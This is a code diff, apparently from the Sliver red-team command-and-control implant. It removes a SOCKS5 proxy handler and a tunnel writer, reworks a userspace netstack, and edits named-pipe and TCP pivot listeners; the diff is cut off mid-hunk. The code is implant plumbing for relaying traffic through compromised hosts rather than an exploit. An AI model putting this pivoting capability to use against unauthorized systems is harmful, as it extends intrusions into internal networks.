-	"github.com/things-go/go-socks5"
-	"google.golang.org/protobuf/proto"
-)
-
-type socksTunnelPool struct {
-	tunnels *sync.Map // map[uint64]chan []byte
-}
-
-var socksTunnels = socksTunnelPool{
-	tunnels: &sync.Map{},
-}
-
-var socksServer *socks5.Server
-
-func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
-	socksData := &sliverpb.SocksData{}
-	err := proto.Unmarshal(envelope.Data, socksData)
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[socks] Failed to unmarshal protobuf %s", err)
-		// {{end}}
-		return
-	}
-	if socksData.Data == nil {
-		return
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
-	// {{end}}
-
-	if socksData.Username != "" && socksData.Password != "" {
-		cred := socks5.StaticCredentials{
-			socksData.Username: socksData.Password,
-		}
-		auth := socks5.UserPassAuthenticator{Credentials: cred}
-		socksServer = socks5.NewServer(
-			socks5.WithAuthMethods([]socks5.Authenticator{auth}),
-		)
-	} else {
-		socksServer = socks5.NewServer()
-	}
-
-	// {{if .Config.Debug}}
-	log.Printf("[socks] Server: %v", socksServer)
-	// {{end}}
-
-	// init tunnel
-	if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
-		tunnelChan := make(chan []byte, 10)
-		socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
-		tunnelChan <- socksData.Data
-		err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("[socks] Failed to serve connection: %v", err)
-			// {{end}}
-			return
-		}
-	} else {
-		tunnel.(chan []byte) <- socksData.Data
-	}
-}
-
-var _ net.Conn = &socks{}
-
-type socks struct {
-	stream *sliverpb.SocksData
-	conn   *transports.Connection
-	// mux      sync.Mutex
-	Sequence uint64
-}
-
-func (s *socks) Read(b []byte) (n int, err error) {
-	channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
-	if !ok {
-		return 0, errors.New("[socks] invalid tunnel id")
-	}
-
-	data := <-channel.(chan []byte)
-	return copy(b, data), nil
-}
-
-func (s *socks) Write(b []byte) (n int, err error) {
-	data, err := proto.Marshal(&sliverpb.SocksData{
-		TunnelID: s.stream.TunnelID,
-		Data:     b,
-		Sequence: atomic.LoadUint64(&s.Sequence),
-	})
-	if !s.conn.IsOpen {
-		return 0, err
-	}
-	// {{if .Config.Debug}}
-	log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
-	// {{end}}
-	s.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgSocksData,
-		Data: data,
-	}
-
-	atomic.AddUint64(&s.Sequence, 1)
-	return len(b), err
-}
-
-func (s *socks) Close() error {
-	channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
-	if !ok {
-		return errors.New("[socks] can't close unknown channel")
-	}
-	close(channel.(chan []byte))
-
-	data, err := proto.Marshal(&sliverpb.SocksData{
-		TunnelID:  s.stream.TunnelID,
-		CloseConn: true,
-	})
-	if !s.conn.IsOpen {
-		return err
-	}
-	s.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgSocksData,
-		Data: data,
-	}
-	return err
-}
-
-func (c *socks) LocalAddr() net.Addr {
-	return nil
-}
-
-func (c *socks) RemoteAddr() net.Addr {
-	return &net.IPAddr{
-		IP:   net.IPv4(127, 0, 0, 1),
-		Zone: "",
-	}
-}
-
-// TODO impl
-func (c *socks) SetDeadline(t time.Time) error {
-	return nil
-}
-
-// TODO impl
-func (c *socks) SetReadDeadline(t time.Time) error {
-	return nil
-}
-
-// TODO impl
-func (c *socks) SetWriteDeadline(t time.Time) error {
-	return nil
-}

implant/sliver/handlers/tunnel_handlers/tunnel_writer.go

@@ -1,38 +0,0 @@
-package tunnel_handlers
-
-import (
-
-	// {{if .Config.Debug}}
-	"log"
-	// {{end}}
-
-	"github.com/bishopfox/sliver/implant/sliver/transports"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-)
-
-// tunnelWriter - Sends data back to the server based on data read()
-// I know the reader/writer stuff is a little hard to keep track of
-type tunnelWriter struct {
-	tun  *transports.Tunnel
-	conn *transports.Connection
-}
-
-func (tw tunnelWriter) Write(data []byte) (int, error) {
-	n := len(data)
-	data, err := proto.Marshal(&sliverpb.TunnelData{
-		Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
-		Ack:      tw.tun.ReadSequence(),
-		TunnelID: tw.tun.ID,
-		Data:     data,
-	})
-	// {{if .Config.Debug}}
-	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
-	// {{end}}
-	tw.tun.IncWriteSequence() // Increment write sequence
-	tw.conn.Send <- &sliverpb.Envelope{
-		Type: sliverpb.MsgTunnelData,
-		Data: data,
-	}
-	return n, err
-}

implant/sliver/netstack/tun.go

@@ -1,6 +1,7 @@
 /* SPDX-License-Identifier: MIT
  *
  * Copyright (C) 2019-2021 WireGuard LLC. All Rights Reserved.
+ * https://git.zx2c4.com/wireguard-go/tree/tun/netstack/tun.go
  */
 
 package netstack
@@ -13,9 +14,7 @@ import (
 	"fmt"
 	"io"
 	"net"
-	"net/netip"
 	"os"
-	"regexp"
 	"strconv"
 	"strings"
 	"time"
@@ -23,17 +22,15 @@ import (
 	"golang.zx2c4.com/wireguard/tun"
 
 	"golang.org/x/net/dns/dnsmessage"
-	"gvisor.dev/gvisor/pkg/tcpip"
-	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
-	"gvisor.dev/gvisor/pkg/tcpip/buffer"
-	"gvisor.dev/gvisor/pkg/tcpip/header"
-	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
-	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
-	"gvisor.dev/gvisor/pkg/tcpip/stack"
-	"gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
-	"gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
-	"gvisor.dev/gvisor/pkg/tcpip/transport/udp"
-	"gvisor.dev/gvisor/pkg/waiter"
+	"inet.af/netstack/tcpip"
+	"inet.af/netstack/tcpip/adapters/gonet"
+	"inet.af/netstack/tcpip/buffer"
+	"inet.af/netstack/tcpip/header"
+	"inet.af/netstack/tcpip/network/ipv4"
+	"inet.af/netstack/tcpip/network/ipv6"
+	"inet.af/netstack/tcpip/stack"
+	"inet.af/netstack/tcpip/transport/tcp"
+	"inet.af/netstack/tcpip/transport/udp"
 )
 
 type netTun struct {
@@ -42,14 +39,11 @@ type netTun struct {
 	events         chan tun.Event
 	incomingPacket chan buffer.VectorisedView
 	mtu            int
-	dnsServers     []netip.Addr
+	dnsServers     []net.IP
 	hasV4, hasV6   bool
 }
-
-type (
-	endpoint netTun
-	Net      netTun
-)
+type endpoint netTun
+type Net netTun
 
 func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
 	e.dispatcher = dispatcher
@@ -81,16 +75,12 @@ func (*endpoint) LinkAddress() tcpip.LinkAddress {
 
 func (*endpoint) Wait() {}
 
-func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
+func (e *endpoint) WritePacket(_ stack.RouteInfo, _ *stack.GSO, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
 	e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
 	return nil
 }
 
-func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
-	panic("not implemented")
-}
-
-func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
+func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
 	panic("not implemented")
 }
 
@@ -101,10 +91,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
 func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
 }
 
-func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
+func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
 	opts := stack.Options{
 		NetworkProtocols:   []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
-		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
+		TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
 		HandleLocal:        true,
 	}
 	dev := &netTun{
@@ -119,23 +109,17 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
 		return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
 	}
 	for _, ip := range localAddresses {
-		var protoNumber tcpip.NetworkProtocolNumber
-		if ip.Is4() {
-			protoNumber = ipv4.ProtocolNumber
-		} else if ip.Is6() {
-			protoNumber = ipv6.ProtocolNumber
-		}
-		protoAddr := tcpip.ProtocolAddress{
-			Protocol:          protoNumber,
-			AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
-		}
-		tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
-		if tcpipErr != nil {
-			return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
-		}
-		if ip.Is4() {
+		if ip4 := ip.To4(); ip4 != nil {
+			tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
+			if tcpipErr != nil {
+				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
+			}
 			dev.hasV4 = true
-		} else if ip.Is6() {
+		} else {
+			tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
+			if tcpipErr != nil {
+				return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
+			}
 			dev.hasV6 = true
 		}
 	}
@@ -145,6 +129,10 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
 	if dev.hasV6 {
 		dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
 	}
+	// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
+	// if tcpipErr != nil {
+	// 	return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
+	// }
 
 	dev.events <- tun.EventUp
 	return dev, (*Net)(dev), nil
@@ -207,289 +195,60 @@ func (tun *netTun) MTU() (int, error) {
 	return tun.mtu, nil
 }
 
-func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
-	var protoNumber tcpip.NetworkProtocolNumber
-	if endpoint.Addr().Is4() {
-		protoNumber = ipv4.ProtocolNumber
+func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
+	if ip4 := ip.To4(); ip4 != nil {
+		return tcpip.FullAddress{
+			NIC:  1,
+			Addr: tcpip.Address(ip4),
+			Port: uint16(port),
+		}, ipv4.ProtocolNumber
 	} else {
-		protoNumber = ipv6.ProtocolNumber
+		return tcpip.FullAddress{
+			NIC:  1,
+			Addr: tcpip.Address(ip),
+			Port: uint16(port),
+		}, ipv6.ProtocolNumber
 	}
-	return tcpip.FullAddress{
-		NIC:  1,
-		Addr: tcpip.Address(endpoint.Addr().AsSlice()),
-		Port: endpoint.Port(),
-	}, protoNumber
-}
-
-func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
-	fa, pn := convertToFullAddr(addr)
-	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
 }
 
 func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
+		panic("todo: deal with auto addr semantics for nil addr")
 	}
-	ip, _ := netip.AddrFromSlice(addr.IP)
-	return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
-}
-
-func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
-	fa, pn := convertToFullAddr(addr)
-	return gonet.DialTCP(net.stack, fa, pn)
+	fa, pn := convertToFullAddr(addr.IP, addr.Port)
+	return gonet.DialContextTCP(ctx, net.stack, fa, pn)
 }
 
 func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
 	if addr == nil {
-		return net.DialTCPAddrPort(netip.AddrPort{})
+		panic("todo: deal with auto addr semantics for nil addr")
 	}
-	ip, _ := netip.AddrFromSlice(addr.IP)
-	return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
-}
-
-func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
-	fa, pn := convertToFullAddr(addr)
-	return gonet.ListenTCP(net.stack, fa, pn)
+	fa, pn := convertToFullAddr(addr.IP, addr.Port)
+	return gonet.DialTCP(net.stack, fa, pn)
 }
 
 func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
 	if addr == nil {
-		return net.ListenTCPAddrPort(netip.AddrPort{})
+		panic("todo: deal with auto addr semantics for nil addr")
 	}
-	ip, _ := netip.AddrFromSlice(addr.IP)
-	return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
-}
-
-func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
-	var lfa, rfa *tcpip.FullAddress
-	var pn tcpip.NetworkProtocolNumber
-	if laddr.IsValid() || laddr.Port() > 0 {
-		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(laddr)
-		lfa = &addr
-	}
-	if raddr.IsValid() || raddr.Port() > 0 {
-		var addr tcpip.FullAddress
-		addr, pn = convertToFullAddr(raddr)
-		rfa = &addr
-	}
-	return gonet.DialUDP(net.stack, lfa, rfa, pn)
-}
-
-func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
-	return net.DialUDPAddrPort(laddr, netip.AddrPort{})
+	fa, pn := convertToFullAddr(addr.IP, addr.Port)
+	return gonet.ListenTCP(net.stack, fa, pn)
 }
 
 func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
-	var la, ra netip.AddrPort
+	var lfa, rfa *tcpip.FullAddress
+	var pn tcpip.NetworkProtocolNumber
 	if laddr != nil {
-		ip, _ := netip.AddrFromSlice(laddr.IP)
-		la = netip.AddrPortFrom(ip, uint16(laddr.Port))
+		var addr tcpip.FullAddress
+		addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
+		lfa = &addr
 	}
 	if raddr != nil {
-		ip, _ := netip.AddrFromSlice(raddr.IP)
-		ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
+		var addr tcpip.FullAddress
+		addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
+		rfa = &addr
 	}
-	return net.DialUDPAddrPort(la, ra)
-}
-
-func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
-	return net.DialUDP(laddr, nil)
-}
-
-type PingConn struct {
-	laddr    PingAddr
-	raddr    PingAddr
-	wq       waiter.Queue
-	ep       tcpip.Endpoint
-	deadline *time.Timer
-}
-
-type PingAddr struct{ addr netip.Addr }
-
-func (ia PingAddr) String() string {
-	return ia.addr.String()
-}
-
-func (ia PingAddr) Network() string {
-	if ia.addr.Is4() {
-		return "ping4"
-	} else if ia.addr.Is6() {
-		return "ping6"
-	}
-	return "ping"
-}
-
-func (ia PingAddr) Addr() netip.Addr {
-	return ia.addr
-}
-
-func PingAddrFromAddr(addr netip.Addr) *PingAddr {
-	return &PingAddr{addr}
-}
-
-func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
-	if !laddr.IsValid() && !raddr.IsValid() {
-		return nil, errors.New("ping dial: invalid address")
-	}
-	v6 := laddr.Is6() || raddr.Is6()
-	bind := laddr.IsValid()
-	if !bind {
-		if v6 {
-			laddr = netip.IPv6Unspecified()
-		} else {
-			laddr = netip.IPv4Unspecified()
-		}
-	}
-
-	tn := icmp.ProtocolNumber4
-	pn := ipv4.ProtocolNumber
-	if v6 {
-		tn = icmp.ProtocolNumber6
-		pn = ipv6.ProtocolNumber
-	}
-
-	pc := &PingConn{
-		laddr:    PingAddr{laddr},
-		deadline: time.NewTimer(time.Hour << 10),
-	}
-	pc.deadline.Stop()
-
-	ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
-	if tcpipErr != nil {
-		return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
-	}
-	pc.ep = ep
-
-	if bind {
-		fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
-		if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
-			return nil, fmt.Errorf("ping bind: %s", tcpipErr)
-		}
-	}
-
-	if raddr.IsValid() {
-		pc.raddr = PingAddr{raddr}
-		fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
-		if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
-			return nil, fmt.Errorf("ping connect: %s", tcpipErr)
-		}
-	}
-
-	return pc, nil
-}
-
-func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
-	return net.DialPingAddr(laddr, netip.Addr{})
-}
-
-func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
-	var la, ra netip.Addr
-	if laddr != nil {
-		la = laddr.addr
-	}
-	if raddr != nil {
-		ra = raddr.addr
-	}
-	return net.DialPingAddr(la, ra)
-}
-
-func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
-	var la netip.Addr
-	if laddr != nil {
-		la = laddr.addr
-	}
-	return net.ListenPingAddr(la)
-}
-
-func (pc *PingConn) LocalAddr() net.Addr {
-	return pc.laddr
-}
-
-func (pc *PingConn) RemoteAddr() net.Addr {
-	return pc.raddr
-}
-
-func (pc *PingConn) Close() error {
-	pc.deadline.Reset(0)
-	pc.ep.Close()
-	return nil
-}
-
-func (pc *PingConn) SetWriteDeadline(t time.Time) error {
-	return errors.New("not implemented")
-}
-
-func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
-	var na netip.Addr
-	switch v := addr.(type) {
-	case *PingAddr:
-		na = v.addr
-	case *net.IPAddr:
-		na, _ = netip.AddrFromSlice(v.IP)
-	default:
-		return 0, fmt.Errorf("ping write: wrong net.Addr type")
-	}
-	if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
-		return 0, fmt.Errorf("ping write: mismatched protocols")
-	}
-
-	buf := buffer.NewViewFromBytes(p)
-	rdr := buf.Reader()
-	rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
-	// won't block, no deadlines
-	n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
-		To: &rfa,
-	})
-	if tcpipErr != nil {
-		return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
-	}
-
-	return int(n64), nil
-}
-
-func (pc *PingConn) Write(p []byte) (n int, err error) {
-	return pc.WriteTo(p, &pc.raddr)
-}
-
-func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
-	e, notifyCh := waiter.NewChannelEntry(nil)
-	pc.wq.EventRegister(&e, waiter.EventIn)
-	defer pc.wq.EventUnregister(&e)
-
-	select {
-	case <-pc.deadline.C:
-		return 0, nil, os.ErrDeadlineExceeded
-	case <-notifyCh:
-	}
-
-	w := tcpip.SliceWriter(p)
-
-	res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
-		NeedRemoteAddr: true,
-	})
-	if tcpipErr != nil {
-		return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
-	}
-
-	remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
-	return res.Count, &PingAddr{remoteAddr}, nil
-}
-
-func (pc *PingConn) Read(p []byte) (n int, err error) {
-	n, _, err = pc.ReadFrom(p)
-	return
-}
-
-func (pc *PingConn) SetDeadline(t time.Time) error {
-	// pc.SetWriteDeadline is unimplemented
-
-	return pc.SetReadDeadline(t)
-}
-
-func (pc *PingConn) SetReadDeadline(t time.Time) error {
-	pc.deadline.Reset(t.Sub(time.Now()))
-	return nil
+	return gonet.DialUDP(net.stack, lfa, rfa, pn)
 }
 
 var (
@@ -667,7 +426,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
 	return p, h, nil
 }
 
-func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
+func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
 	q.Class = dnsmessage.ClassINET
 	id, udpReq, tcpReq, err := newRequest(q)
 	if err != nil {
@@ -681,19 +440,16 @@ func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Q
 		var c net.Conn
 		var err error
 		if useUDP {
-			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
+			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
 		} else {
-			c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
+			c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
 		}
 
 		if err != nil {
 			return dnsmessage.Parser{}, dnsmessage.Header{}, err
 		}
 		if d, ok := ctx.Deadline(); ok && !d.IsZero() {
-			err := c.SetDeadline(d)
-			if err != nil {
-				return dnsmessage.Parser{}, dnsmessage.Header{}, err
-			}
+			c.SetDeadline(d)
 		}
 		var p dnsmessage.Parser
 		var h dnsmessage.Header
@@ -837,8 +593,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 			zlen = zidx
 		}
 	}
-	if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
-		return []string{ip.String()}, nil
+	if ip := net.ParseIP(host[:zlen]); ip != nil {
+		return []string{host[:zlen]}, nil
 	}
 
 	if !isDomainName(host) {
@@ -849,7 +605,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		server string
 		error
 	}
-	var addrsV4, addrsV6 []netip.Addr
+	var addrsV4, addrsV6 []net.IP
 	lanes := 0
 	if tnet.hasV4 {
 		lanes++
@@ -904,7 +660,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
-				addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
+				addrsV4 = append(addrsV4, net.IP(a.A[:]))
 
 			case dnsmessage.TypeAAAA:
 				aaaa, err := result.p.AAAAResource()
@@ -916,7 +672,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
-				addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
+				addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
 
 			default:
 				if err := result.p.SkipAnswer(); err != nil {
@@ -932,7 +688,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		}
 	}
 	// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
-	var addrs []netip.Addr
+	var addrs []net.IP
 	if tnet.hasV6 {
 		addrs = append(addrsV6, addrsV4...)
 	} else {
@@ -969,48 +725,44 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
 	return now.Add(timeout), nil
 }
 
-var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
-
 func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
 	if ctx == nil {
 		panic("nil context")
 	}
-	var acceptV4, acceptV6 bool
-	matches := protoSplitter.FindStringSubmatch(network)
-	if matches == nil {
-		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
-	} else if len(matches[2]) == 0 {
+	var acceptV4, acceptV6, useUDP bool
+	if len(network) == 3 {
 		acceptV4 = true
 		acceptV6 = true
-	} else {
-		acceptV4 = matches[2][0] == '4'
-		acceptV6 = !acceptV4
+	} else if len(network) == 4 {
+		acceptV4 = network[3] == '4'
+		acceptV6 = network[3] == '6'
 	}
-	var host string
-	var port int
-	if matches[1] == "ping" {
-		host = address
-	} else {
-		var sport string
-		var err error
-		host, sport, err = net.SplitHostPort(address)
-		if err != nil {
-			return nil, &net.OpError{Op: "dial", Err: err}
-		}
-		port, err = strconv.Atoi(sport)
-		if err != nil || port < 0 || port > 65535 {
-			return nil, &net.OpError{Op: "dial", Err: errNumericPort}
-		}
+	if !acceptV4 && !acceptV6 {
+		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
+	}
+	if network[:3] == "udp" {
+		useUDP = true
+	} else if network[:3] != "tcp" {
+		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
+	}
+	host, sport, err := net.SplitHostPort(address)
+	if err != nil {
+		return nil, &net.OpError{Op: "dial", Err: err}
+	}
+	port, err := strconv.Atoi(sport)
+	if err != nil || port < 0 || port > 65535 {
+		return nil, &net.OpError{Op: "dial", Err: errNumericPort}
 	}
 	allAddr, err := tnet.LookupContextHost(ctx, host)
 	if err != nil {
 		return nil, &net.OpError{Op: "dial", Err: err}
 	}
-	var addrs []netip.AddrPort
+	var addrs []net.IP
 	for _, addr := range allAddr {
-		ip, err := netip.ParseAddr(addr)
-		if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
-			addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
+		if strings.IndexByte(addr, ':') != -1 && acceptV6 {
+			addrs = append(addrs, net.ParseIP(addr))
+		} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
+			addrs = append(addrs, net.ParseIP(addr))
 		}
 	}
 	if len(addrs) == 0 && len(allAddr) != 0 {
@@ -1048,13 +800,10 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
 		}
 
 		var c net.Conn
-		switch matches[1] {
-		case "tcp":
-			c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
-		case "udp":
-			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
-		case "ping":
-			c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
+		if useUDP {
+			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
+		} else {
+			c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
 		}
 		if err == nil {
 			return c, nil

implant/sliver/pivots/named-pipe_windows.go

@@ -19,7 +19,6 @@ package pivots
 */
 
 import (
-	"strings"
 	"sync"
 	"time"
 
@@ -38,7 +37,7 @@ var (
 
 // CreateNamedPipePivotListener - Starts a named pipe listener
 func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
-	fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
+	fullName := "\\\\.\\pipe\\" + address
 	ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
 		//SecurityDescriptor: "",
 		RemoteClientMode: true,

implant/sliver/pivots/pivots.go

@@ -24,7 +24,6 @@ import (
 	"encoding/base64"
 	"encoding/binary"
 	"errors"
-	"io"
 	"net"
 	"sync"
 	"time"
@@ -39,6 +38,10 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
+const (
+	readBufSize = 1024
+)
+
 var (
 	// ErrFailedWrite - Failed to write to a connection
 	ErrFailedWrite = errors.New("failed to write")
@@ -111,14 +114,13 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
 				// {{if .Config.Debug}}
 				log.Printf("[pivot] failed to restart listener: %s", err)
 				// {{end}}
-				return false
 			}
 			go listener.Start()
 			AddListener(listener)
 		}
 		return true
 	})
-	stoppedPivotListeners = &sync.Map{}
+	stoppedPivotListeners = nil
 }
 
 // StopAllListeners - Stop all pivot listeners
@@ -474,9 +476,7 @@ func (p *NetConnPivot) read() ([]byte, error) {
 	p.readMutex.Lock()
 	defer p.readMutex.Unlock()
 	dataLengthBuf := make([]byte, 4)
-
-	n, err := io.ReadFull(p.conn, dataLengthBuf)
-
+	n, err := p.conn.Read(dataLengthBuf)
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +485,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
 	}
 
 	dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
-	if dataLength <= 0 {
-		// {{if .Config.Debug}}
-		log.Printf("[pivot] read error: %s\n", err)
-		// {{end}}
-		return nil, errors.New("[pivot] zero data length")
+	readBuf := make([]byte, readBufSize)
+	dataBuf := []byte{}
+	totalRead := 0
+	for {
+		n, err := p.conn.Read(readBuf)
+		dataBuf = append(dataBuf, readBuf[:n]...)
+		totalRead += n
+		if totalRead == dataLength {
+			break
+		}
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("[pivot] read error: %s\n", err)
+			// {{end}}
+			return nil, err
